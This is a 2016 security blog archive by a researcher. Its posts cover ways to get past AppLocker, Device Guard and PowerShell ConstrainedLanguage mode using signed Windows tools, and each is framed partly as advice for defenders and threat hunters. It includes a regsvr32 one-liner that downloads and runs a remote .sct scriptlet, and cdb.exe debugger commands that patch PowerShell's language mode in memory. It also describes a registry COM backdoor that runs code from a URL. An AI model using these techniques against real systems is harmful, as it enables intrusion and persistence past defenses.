Thursday, June 30, 2016

What you probably didn't know about regsvr32.exe

Ever have one of those 3am realizations... "THATS what they are up to!!!"

What you probably didn't realize, or maybe you did, but haven't told anyone ;-)...

Or maybe I'm just slow.

Is that regsvr32.exe can load and execute an arbitrary dll pretty easily.

No exploit required... Just a command line and pass it a dll.

The regsvr32.exe utility DllUnregisterServer is well defined here:

DllUnregisterServer entry point

Actually DllRegisterServer works too.

So... All you really need to do to trigger execution is create an exported method that matches that pattern.  HRESULT __stdcall DllRegisterServer(void);

Recently I came across this library.

Unmanaged Exports (DllExport for .Net)

So I decided to experiment this morning.  Yes, 3:10am...  Deal with it.

This is actually pretty easy and it showcases a fun way to use .NET in an unmanaged process...hint, hint.  The CLR is loaded automatically.

Sooo.  What does this mean.  Well. Probably for defenders it means taking a look at your telemetry and if you see any regsvr32 [Some DLL]...  Probably worth understanding.

Perhaps I'm just slow, and maybe you knew this already.  If not, I hope this helps you find some evil.

And of course this bypasses AppLocker...  Cause well. AppLocker has trouble with secondary execution. This is well known.

Security Considerations for AppLocker

Ok, thats all I got.



Tuesday, June 28, 2016

Unlock PowerShell ConstrainedLanguage Mode with InstallUtil.exe

Ok, this was a recent experiment with this library:

CLR MD: .NET Crash Dump and Live Process Inspection

tl;dr - I turned InstallUtil.exe into debugger to unlock PowerShell, and remove ConstrainedLanguage

Ever since I read this excellent blog post,

PowerShell ♥ the Blue Team

I've been puzzling over the way to get past ConstrainedLanguage, when enforced by AppLocker.

This post starts from the point that you can execute commands on a system.  How you get there is up to you.

First: How does ConstrainedLanguage Mode hinder our actions?

It limits which types of objects you can create, which methods you can call, and which properties on an object you can set.  This limits the effectiveness of arbitrary PowerShell.

My goal was to be able to unlock my PowerShell process as a normal user, no exploit, using trusted tools.

I am leveraging two Signed Microsoft binaries and known patterns to do this.

1. InstallUtil.exe
2. Microsoft.Diagnostics.Runtime  (clrmd)
3. .NET Reflection

The way this tool works is as follows.

1. Unpack and load the Microsoft Diagnostics Assembly Into the InstallUtil address space
   -I really need to Compress, First, but I leave that for you to do.
2. Input the ProcessID for the PowerShell process you wish to Unlock
3. Attach to the PowerShell Process
4. Locate the System.Management.Automation.ExecutionContext object
5. Write a value of Zero to this Property

Since we know that InstallUtil.exe will likely bypass many Whitelisting Tools already.  We can leverage this to complete the unlock.

To defend against this, you should probably block/prevent InstallUtil.exe in the first place.  I've been saying that for a while.

I learned a ton, and hope to explore further use cases for CLR MD!   You can see some examples here:

Microsoft.Diagnostics.Runtime "CLR MD" 

And Here:

CLR Memory Diagnostics (ClrMD) 0.8.31-beta

The code I wrote is very ugly, I'll be honest.  However, it works. And might prove useful in certain situations.  There are probably more interesting and better ways to do this. So I'd love to hear what you come up with.

Here you go.  Take it for a spin, feedback welcome as always.

Remove PowerShell ConstrainedLanguage Mode

Ok, Thats all I got.



Thursday, May 19, 2016

To Disarm Device Guard - Bring a Debugger to the Fight. Proof Of Concept

I've been sitting on this for a while and thought I'd do a brief write up.

I'm calling this tactic "Drop the Shields"

What is Device Guard?  Good read here:

The basic idea is we want to lock down the system to only execute approved binaries, etc...

What I am about to describe is a method I use to disarm Device Guard in order to execute some .NET code that has not been approved. This post assumes you already have access to the system.

We will disarm Device Guard by removing PowerShell Constrained Language Mode as a normal user , normal privileges, using no exploitation.

Constrained Language Mode is on once a system is locked down with Device Guard. Details about the impact of that here:
PowerShell about_Language_Modes

Please, this doesn't mean Device Guard is no good or not a strong defense...

I leave it up to the reader on how you might gain a shell on a Device Guard protected system in the first place.

First, lets review some tasks that a normal user can perform.

1. Map a network drive to a url.  example: "net use s:"

I like this because its proxy aware, and works over SSL/TLS.  All you need is to have your tool set on a WebDAV share which is trivial.

2. Debug a process that I own.
3. Change Memory in a Process I can debug.
4. Load Binaries Signed by MS - Example - cdb.exe, and SOS.dll

Ok, Here we go.  First verification that the system is indeed under Device Guard Protection.

So, we can't invoke methods, we can't load unapproved binaries.

Step 1: We need to drop cdb.exe on this system. An MS signed binary.  Distributed with Windows debugging tools.  This will/should be able to execute on a System, even after the Device Guard Policies have been set.

Step 2: Attach to your own PowerShell process -
For details on various options see this:   cdb.exe Command-Line Options

Step 3: Load the SOS.dll which is useful for debugging .NET apps. Which PowerShell is.
.load C:\Windows\Microsoft.Net\Framework64\v4.0.30319\SOS.dll;
This should already be on the system, and approved, so we aren't actually adding anything new.

Step 4: Locate the object that contains the setting for Constrained Language Mode
!DumpHeap -type System.Management.Automation.ExecutionContext -short -min 100
Here we just scan the address space for an object of a particular size.
This will return a reference to the location of that object in memory

Step 5:  Edit the _languageMode property, setting it from 3 to 0.  This removes the restrictions.

Here's what it looks like putting steps 1-5 together.

cdb.exe -p $PID -pvr
.load C:\Windows\Microsoft.Net\Framework64\v4.0.30319\SOS.dll !DumpHeap -type System.Management.Automation.ExecutionContext -short -min 100
ed [Address]+148 0
Now that is done, we have effectively removed the constraints.  You are now clear to move about the process.

Ok. So this was really just an experiment.

A PowerShell Constrained Language bypass can degrade the effectiveness of Device Guard.

Of course this entire process can be automated, I leave that to you for experimenting.

Does this mean you should not consider Device Guard. - NO. Device Guard is a powerful tool in the defender arsenal.

It was just bugging me that I could get past it.  And even still this isn't exactly a world class bypass....

So, whats the point of this post?

Well, I wanted to prove a concept that Constrained Language Bypasses will affect defenders who rely on Device Guard.

Feel free to test this. Your mileage may vary.

Remember again, this was not an exploit.  Operating as a standard user, I can attach a debugger to a process I own and manipulate its address space.  But I needed to bring a debugger to the system to do that.

I was really just curious as to where the Language Mode setting was held in memory and could it be altered.

Its not great, but it does pique my curiosity for Constrained Language bypasses.

Ok, that is all I have today.

Feedback Welcome.



Update 5/21/2016

The configuration that I used for device guard, was this:

The reason I mention that is because Device Guard can be configured in many different ways. And if you simply trust the LeafCertificate for apps signed my Microsoft. This could lead to misuse of trusted apps.  Below is one of the best references I have found for configuration:
Device Guard deployment guide

Saturday, April 23, 2016

Hunting Threats - regsvr32.exe example

I was recently at the Threat Hunting Summit in New Orleans.  It was great to meet some of you who read my posts, and to get feedback on my talk.

My slide deck is here:

ThreatHunting Summit

So, we hunt threats a bit differently.  Let me explain. We act out adversarial actions, and try to discover innovative tactics that adversaries might use.

I have published these on my blog and on my github page. The purpose in my publishing is to inform defenders of tactics that can be used against defensive systems...

I have mentioned in several talks, that I am interested mainly in architectural flaws, or oversights, that can allow attackers to use trusted tools, in unexpected ways.  These are not exploits... There is no patch coming... I am using the tools in the manner that they are meant to be used, mostly, for developers.

I really do enjoy what the DFIR community is doing, from Memory Forensics, to Continuous Monitoring, to Log Aggregation and analysis... And I get it, all that is good stuff.

But then there are hidden caves and corners in the OS, like regsvr32, and the other tools I've written about

These are on your box and nobody knows what the hell it does, or COULD do....

But likely someone has figured that out, and you are unaware...

So, my opinion, and it is purely that, is this, for those of us who do defense. I encourage you to start looking around, ask what can this do?  Do we ever use it, how often is this EVER executed?  If it does weird stuff.  Ban it perhaps...etc... There is a lot of interesting places to hide that you can find.

So, about regsvr32.exe.  Here's a native tool. Built into the OS, many of us didn't really understand what it could do, until a few days ago...

regsvr32.exe will be one of my favorite finds, and I am glad it got the attention is has.

I hope that some of you will take on the hunt for strange and interesting in your environment.

I grew up hunting in Colorado.  And I can tell you this. You hunt elk very differently than you hunt say Pheasants.  Each situation and industry requires diligence.

Maybe instead of investing in some new widget, we should step back, sit down with the output of "dir /s" and understand what the tools and binaries are on our systems...

Thats free. And a rather interesting exercise.

There's plenty more fun to be had here...

Hope that helps!

Ok, Thats all I got.



Tuesday, April 19, 2016

Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files)

So, I have been working this out the last few days. I was trying solve a particular problem.

I needed a reverse shell on workstation locked down by AppLocker executable and script rules enforced.

 tl;dr "regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll"

I have been researching fileless persistence mechanisms.  And it led me to a dark place.  I would wish on no mortal.  COM+.

I posted earlier about .sct files. This link describes what they are. In short they are XML documents, that allow you to register COM objects that are backed not by a .dll but scripts.

Inside COM+

However, I wasn't really happy with what I had found since it required Admin rights in order to execute.  I could register the script to bypass AppLocker, but I still had to instantiate the object to trigger the code execution.

Then, I decided to place the script block inside of the Registration tag. Bam! Now all I had to do was call the regsvr32 and the code would execute. Still... That whole admin problem...

After pouring over hellish COM+ forums from 1999, I found a reference that stated that the code in the registration element executes on register and unregister.

I logged in as a normal user and right clicked the .sct file and chose "unregister" and... It worked.

That was it.

The amazing thing here is that regsvr32 is already proxy aware, uses TLS, follows redirects, etc...And.. You guessed a signed, default MS binary.  Whohoo.

So, all you need to do is host your .sct file at a location you control. From the target, simply execute

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Its not well documented that regsvr32.exe can accept a url for a script.

In order to trigger this bypass, place the code block, either VB or JS inside the <registration> element.

Hopefully this makes sense.

In order to further prove this out, I wrote a PowerShell server to handle execution and return output.

I hope this is helpful and that it makes sense.

There is ALOT more to explore here, so please, send me feedback if you find this helpful.
- You can also call a local file too.  If you really wanted to...
- This does not ACTUALLY register the COM object.  So nothing is in the registry... BONUS

Proof Of Concept Here

So, there you have it!

And yes. this bypass fits in a Tweet.  :-)

Are we clear?



Thursday, April 14, 2016

Setting Up A Homestead In the Enterprise with JavaScript

Well, now that everyone has eyes on PowerShell...Lets see what we can do with JavaScript!

My all time favorite talk is here:
Living Off the Land: A Minimalist’s Guide to Windows Post-Exploitation

So, this post, doesn't exactly stay true to the idea of living in memory, never touching disk, and only using native tools...

However, I think you might find this interesting.

I've been doing lots of testing on JavaScript lately and wanted to share some of my latest stuff.

Recently I mentioned on Twitter about .SCT files. I only found this recently.  So, I think there is probably lots more cool stuff to explore here.

I really don't have time to go into all the gory COM details here. But the idea of the .SCT scriptlet, is to be able to back your COM object with a script, vb/js.  Instead of a binary.

Who cares?  Well, as you know there are lots of ways to detect, and block binary execution.  Even log when a binary is written to disk.  But if we can establish a foothold with say a text file or XML. Well we may have a chance to hide longer.

Inside COM

This document has some of the back story.

So I wrote a prototype, proof of concept.  I probably won't have anymore time for this. :-)

Here's what my backdoor does.

1. Installs a COM Object into the registry
2. Overwrites the ScriptletURL, which normally points to a local file. Now points to URL
3. Invoke the COM Object and executes dynamically from the url.

This gives me complete persistence in the registry.  I leave it up to the reader to expand and experiment.

I think its pretty cool. But who knows.

Proof of Concept Here

Happy Homesteading.


Thursday, February 18, 2016

Post-Exploitation Shellcode

Recently I was experimenting with Office Macro shellcode. And it kept getting flagged/caught by EMET!

Increasingly I find myself needing Post-Exploit Shellcode fragments...
I realized, if I am executing shellcode Post-Exploit, there really is no reason to scan memory for kernel32.dll , loadlibary, and getprocadress etc...

I already HAVE access to the API in Office Macros and PowerShell.

I know, I'm slow... Should have dawned on me earlier...

Realize I am trying to exec stub shellcode to preserve existing infrastructure... Metasploit or CobaltStrike for example

There is a lot that could be done Post-Exploit

So, Post-Exploit shellcode execution has a different set of requirements/capabilities.

So early this morning I wrote a quick proof of concept found here:

We can let the Macro or PowerShell provide the handle to the necessary calls, in a way more natural, that is more difficult to pick up by EMET.

Again, this is a really rough draft, an area I continue to experiment with. But I suspect, there is a lot more to this.

Probably has application to the way we call Invoke-Shellcode.ps1, etc...

These are all Post-Exploit calls.

Time to crank out some more asm.
Thats all for now.

Casey @subt0x10